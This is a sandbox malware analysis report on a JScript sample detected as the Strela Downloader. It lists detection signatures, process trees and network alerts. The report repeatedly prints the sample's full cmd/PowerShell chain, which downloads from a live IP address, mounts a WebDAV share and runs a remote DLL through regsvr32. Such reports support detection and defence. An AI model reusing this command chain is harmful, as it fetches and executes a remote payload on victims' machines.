Edit tour

Windows Analysis Report
1026278051441931198.js

Overview

General Information

Sample name:	1026278051441931198.js
Analysis ID:	1588118
MD5:	e1bf143b521d821c85fddb7b1ce6c454
SHA1:	2978cc935c1902449858fd4bde55a758fb1bbf34
SHA256:	95132f4194e70d06065603047420c0b33395c330b2ba7f91aa21036604d3c575
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1440 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7108 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6768 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7360 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1644,i,13701660431010599657,6285009290053691547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2820 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2300 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7248 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1440	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ProcessId: 1440, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2300, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ProcessId: 1440, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2300, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7248, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2820, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2300, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1026278051441931198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll, ProcessId: 7108, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:34:01.937903+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:33:58.967417+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1026278051441931198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1026278051441931198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:33:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

